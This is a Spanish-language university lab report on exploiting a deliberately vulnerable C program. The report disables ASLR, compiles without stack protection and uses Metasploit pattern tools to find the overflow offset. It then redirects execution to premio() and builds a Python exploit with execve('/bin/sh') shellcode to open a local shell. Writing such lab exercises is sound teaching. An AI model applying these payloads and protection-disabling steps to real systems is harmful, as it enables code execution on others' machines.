Anda di halaman 1dari 17

Asignatura Datos del alumno Fecha

Apellidos: Monter Jiménez


Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Actividades

Actividad: Realizar ataque de desbordamiento de ​buffer

En la siguiente actividad deberás crear dos ​exploits para el programa reto.c. El primero
deberá conseguir acceder a la función ​premio() alterando el flujo del programa y el
segundo deberá obtener una ​shell local en la propia máquina. Se deberá realizar en la
máquina Kali desactivando ASLR y compilando con las opciones vistas para permitir
ejecución de código en la pila

root@​kali​:​~​#​ cat reto.c


#include <stdio.h>
#include <string.h>
void​ premio()
{
printf(​"He alterado el flujo del programa\n"​);
}
int​ main(​int​ argc, ​char​ *argv[])
{
​char​ buffer[100];
if (argc != 2)
{
printf("​Uso: %s argumento\n​",argv[0]);
​return -1​;
}
strcpy(buffer,argv[1]);
printf ("​%s\n​",buffer);
​return 0​;
}

Describe los pasos que has seguido para conseguirlo.


Extensión máxima:​ 15 páginas (Georgia 11 e interlineado 1,5).

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Buffer Overflow

Antes que nada debemos deshabilitar la aleatoriedad de disposición de espacios de


memoria con el fin de tener la dirección de memoria donde existe el error al ejecutar
código y poder explotar esa vulnerabilidad para ellos revisamos el status de ASLR
(Address Space Layout Randomization) actual con el siguiente comando:

cat /proc/sys/kernel/randomize_va_space

Como vemos el valor de ASLR es 2, para deshabilitar las funciones de ASLR , utilizamos
el siguiente comando y volvemos a revisar el estado del ASRL.

echo 0 > /proc/sys/kernel/randomize_va_space

Ahora vemos que el nuevo valor de ASLR es 0.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

A Continuación vemos que tenemos nuestro código que ejecutaremos en el archivo


reto.c

Esta tabla muestra una breve explicación de algunos de los argumentos que
utilizaremos para poder compilar nuestro código:

-z execstack Ejecutar en pila

-fno-stack-protector Desactiva la protección de la pila para poder sobre escribirla

-mpreferred-stack-boundary=2 Mantener la pila alineada a este power de 2


(4 para sistemas de 64 bits)

-g Incluye en el ejecutable de generado la


información necesaria para poder rastrear los errores usando un
depurador, tal como GDB (GNU Debugger).

reto.c Input. Indicar el nombre del programa fuente.

-o reto Output. Escoger el nombre del ejecutable que produce el


compilador.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Compilamos nuestro código son los parámetros que se explicaron en una sola línea,
(usamos el ​-mpreferred-stack-boundary=4​) ya que nuestro sistema es un 64 bits,
para saber que tipo de arquitectura tenemos bastará con ingresar el comando “​arch​” en
la consola si nos muestra un x86_64, entonces tenemos un 64 bits, si fuera tuviéramos
un Sistema de 32 bits usamos -mpreferred-stack-boundary=2.

Nuestro comando quedaría de la siguiente forma:

gcc -g -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o


reto ​reto.c

Dónde ​reto.c es ​es el archivo a compilar y ​reto es el nombre del archivo compilado,
listamos los archivos en el directorio y vemos que el archivo se ha compilado
correctamente.

Hasta éste momento ya se tiene todo para poder realizar el buffer overflow, primero
que todo necesitamos encontrar el tamaño del argumento (acá parámetro) donde el
código falla.
Para hacer esto debemos entrar en modo debugger con el comando ​gdb ./​ejecutable​,
siguiendo el ejercicio nuestro comando quedaría de la siguiente forma.

gdb ./reto

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Ahora deberemos calcular qué tamaño de cadena es la que causa el error, esto lo
haremos con el siguiente comando:
run $(python -c 'print "​A​" * ​100​')

Donde "​A​" es el carácter que queremos repetir y el ​100 es el número de veces que
queremos que se multiplique el carácter previo en una sola cadena, recordemos que en
nuestro código declaramos la variable “buffer” como un array con una longitud de 100
posiciones.

Ejecutamos el comando dentro del “modo debugger” y vemos que se crea una cadena
con 100 caracteres con la letra “A”.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Para poder conocer la longitud de la cadena que debemos de utilizar para poder
provocar el overflow utilizaremos la herramientas de creación de cadenas
alfanuméricas que nos provee Kali, para ello abriremos una nueva terminal accediendo
al directorio ​/usr/share/metasploit-framework/tools/exploit ​y ejecutaremos el
siguiente comando:
./pattern_create.rb -l ​130
Donde ​pattern_create.rb es el ejecutable que nos permite generar una cadena
alfanumérica y el ​-l ​130 ​es la longitud de caracteres que deseamos (length) al ejecutar
este comando obtenemos una cadena similar a la de la imagen.

Copiaremos ésta cadena y la ejecutaremos en la primera consola con la que estábamos


trabajando (debugger) y la ejecutaremos anteponiendo el comando ​run quedaría como
lo muestra la siguiente imagen.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Vemos que en la imagen previa obtenemos un error, al obtener éste error ingresamos
el comando ​x/xw $rsp (dentro de la consola en modo debugger) que nos ayudará a
obtener la dirección de memoria donde se produjo el error al haber deshabilitado el
ASLR ésta dirección de memoria no cambiará.

Ahora copiaremos el número decimal correspondiente a la dirección de memoria que


ocasionó el error y ​regresaremos a la segunda consola conde generamos la cadena
aleatoria​ y introduciremos el siguiente comando:

./pattern_offset.rb -q ​41306541 ​-l ​130

Donde ​./pattern_offset.rb es el ejecutable que nos ayudará a calcular la longitud de


la cadena que necesitamos, ​-q ​41306541 es el parámetro (​-q ​query) junto con la
dirección de la memoria que causó la excepción, ​-l ​130 ​(length) es la longitud de la
cadena que estamos pasando como parámetro (que fue la que creamos y ejecutamos en
la primera consola (debugger) ); al finalizar la ejecución del comando nos dará la
longitud exacta de la cadena que debemos parar al programa para provocar la
excepción.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

En éste caso es 120, ahora ​ya sabemos exactamente la longitud del tamaño de
la cadena que necesitamos para poder provocar el overflow​.

Ahora necesitamos saber la dirección física de la función premio, para esto en la


consola del debugger insertamos el siguiente comando.
disas premio

Debemos de prestar atención a la dirección de memoria de la instrucción ​push %rbp


ésta dirección debemos de convertirla a formato ​little endian y ​hexadecimal ​que no
es más que cambiar el orden de la dirección original leyéndola de derecha a izquierda,
en nuestro caso la dirección es 555555555155 y convertida quedaría de la siguiente
forma:

\x55\x51\x55\x55\x55\x55

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Ahora dentro de la primera consola (debugger gdb) utilizaremos un intérprete de


comandos (en éste caso python) para poder ejecutar nuestro código y por pasar los
argumentos necesarios para realizar el overflow, nuestro comando quedaría de la
siguiente forma:
run $(​python -c 'print "A" * 120​ +​ ​"\x55\x51\x55\x55\x55\x55"​')​

Dónde ​run $( … ), ​realiza el llamado al intérprete de comandos desde el modo


debugger, ​python -c 'print "A" * 120 …… ' ​realiza la llamada al ejecutable de
código python para poder imprimir un carácter repetido 120 veces, ​+
"\x55\x51\x55\x55\x55\x55" ​concatenación de la cadena de ​dirección de memoria
en formato ​little endian​ y ​hexadecimal.

Procedemos a utilizar el comando en el debugger y vemos los resultados. Como


podemos ver pudimos ejecutar la función premio que imprime el mensaje ​“The
program flow has been modified!!”,​ qué es la impresión que se debe de mostrar al
ejecutar la función ​premio.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Obtención de línea de comandos (Shell)


Para la obtención de la línea de comandos (Shell) por medio de un buffer overflow
crearemos un script que se ayudará de python para poder ejecutarse a este archivo lo
llamaremos shell.py y contendra el código siguiente.
#!/usr/bin/python

nops = '\x90' * 64
shellCode = (
'​\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69​' +
'​\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05​'
)
relleno = 'A' * (​130​ - 64 - 29)
eip =​ ​'\x50\xe2\xff\xff\xff\x7f​'
print nops + shellCode + relleno + eip

Dónde ​#!/usr/bin/python ​llama al ejecutable de código python y ​\x48\x31\xff\x57..etc.


es el código en hexadecimal concatenado para poder hacer el llamado al shell linux,
130 ​el número que emplearemos para poder provocar el error, recordemos que la ya
sabemos la longitud de la cadena que tenemos que emplear para provocar el buffer
overflow de la primera parte de éste ejercicio el cual era de ​120​, ​eip =
'\x50\xe2\xff\xff\xff\x7f ​indica la dirección de regreso de ejecución, en pocas palabras a
donde deseamos enviar el flujo del programa, ​print nops + shellCode + relleno + eip
imprime los valores concatenados; vemos nuestro archivo shell.py con el codigo
mencionado quedará como lo muestra la siguiente imagen.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

El archivo shell.py como observamos en la imagen no tiene privilegios de ejecución ,


podemos ver esta comparación revisando nuestro archivo “reto” el cual fue compilado
en la primera parte de éste documento:

Como podemos ver nuestro archivo shell.py no tiene privilegios de ejecución, le


otorgamos privilegios de ejecución con el comando ​chmod +x shell.py ​ejecución y
después volveremos a revisar si los privilegios fueron asignados.

Ahora comprobamos que nuestro archivo es un ejecutable.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Realizaremos una prueba llamando invocando a nuestro archivo desde nuestra


primera consola (debugger) por medio del siguiente comando ​run$(./shell.py) si todo
está correcto nos enviará una pantalla como la siguiente.

Como vemos se ejecutó el código, lo que significa que nuestro ejecutable ​./shell.py es
accesible, pero ahora vemos que también nos muestra un error y ésto es debido a que
estamos pasando la cadena de 130 caracteres que se mencionó en la explicación del
código ./shell.py, sabemos que la cadena correcta es de 120 caracteres pero éste
calor lo cambiaremos más adelante.

Aprovechando que tenemos éste error, necesitamos conocer dónde debemos de


poner un un punto de pausa (acá break point) donde se hace la llamada a la función
en el código donde se produce el buffer overflow , para hacer el listado numerado del
código y saber donde poner el breakpoint lo haremos por medio de comando ​list ​y si
el código no es completamente legible solo presionaremos ​enter ​para seguir viendo del
​ e nuestro archivo ​./shell.py,
resto del código hasta localizar la función ​strcpy d
deberemos poner ​break ​ (no linea) justo en la línea siguiente de ​strcpy.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Ya tenemos nuestro punto de ruptura de ejecución de código, ahora necesitamos


ejecutar nuevamente ​./shell.py y poder revisar las direcciones de memorias para saber
a cual dirección apuntaremos.

Como lo muestra en la anterior imagen nuestro código fue detenido en la línea 18


donde establecimos el punto de ruptura; ahora revisaremos las direcciones de memoria
por medio del comando ​x/40x $rsp para que nos muestre las 20 posiciones
posteriores del contenido de la pila del stack para localizar a cual dirección podemos
altar para poder ejecutar el shell.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

En éste caso podemos podemos identificar los registros de direcciones diferenciarlos


por las entradas tipo ​0X90909090 que es el valor de los ​nop , ​valor que declaramos en
la variable nops de nuestro archivo ​shell.py (​ revisar código); tomaremos el tercer
registro y lo reemplazamos en nuestro archivo ​shell.py, ​no sin antes ​convertirlo al
formato endian hexadecimal por lo que en nuestro caso la dirección de memoria es
0x7fffffffe0e0 ​que daría como ​\xe0\xe0\xff\xff\xff\x7f ​, ​ahora reemplazamos
este valor en la variable ​eip , así como la longitud correcta que permite el buffer
overflow que es de ​120 ​en el archivo ​shell.py.

Los cambios en el archivo shell.py quedarias como lo muestra la siguiente imagen:

Ahora regresaremos a la primera consola del debugger y eliminamos los breakpoint


que fueron agregados por medio del comando ​clear ​y ejecutamos nuevamente el
archivo run $(./shell.py) y si todo sale bien deberemos de ver que tenemos acceso al
shell.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Comprobaremos si desde el shell que abrimos podemos saber con que usuario estamos
logueados por medio del comando ​whoami ​y además haremos un listado por medio
del comando ​ls ​del directorio actual, todo debería funcionar correctamente

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

Con ello termina nuestro ejercicio así como el manual para desarrollar la actividad de
buffer overflow.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Monter Jiménez
Análisis de
14/01/2018
Vulnerabilidades
Nombre: Victor Armando

CONCLUSIÓN

El buffer overflow es una vulnerabilidad que con un poco de investigación e ingenio


puede tener muchas posibilidades, pero también hay que aclarar que en la mayoría de
sistemas operativos los compiladores ya tienen implementados medidas de seguridad
para evitar la manipulación de memoria (ASLR) y es necesario especificar al momento
de compilar que queremos que se mantenga el stack de memoria (pila alineada) esto
implica tener un ambiente preparado anteriormente para que pueda ser viable la
explotación de éste tipo de vulnerabilidad.

FUENTES

Ferran Verdés (11 enero 2016), Hacking Ético, https://hacking-etico.com


https://hacking-etico.com/2016/01/11/de-camino-al-buffer-overflow-parte-iii/

Aquynh (s.f), unicorn-engine, https://github.com


https://github.com/unicorn-engine/unicorn/blob/master/bindings/python/shellcode.
py

S7_0, (Agosto 2016), I'm trying to exploit a buffer overflow, am I doing something
wrong?, https://stackoverflow.com
https://stackoverflow.com/questions/38416045/im-trying-to-exploit-a-bufferoverflow
-am-i-doing-something-wrong

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)

Anda mungkin juga menyukai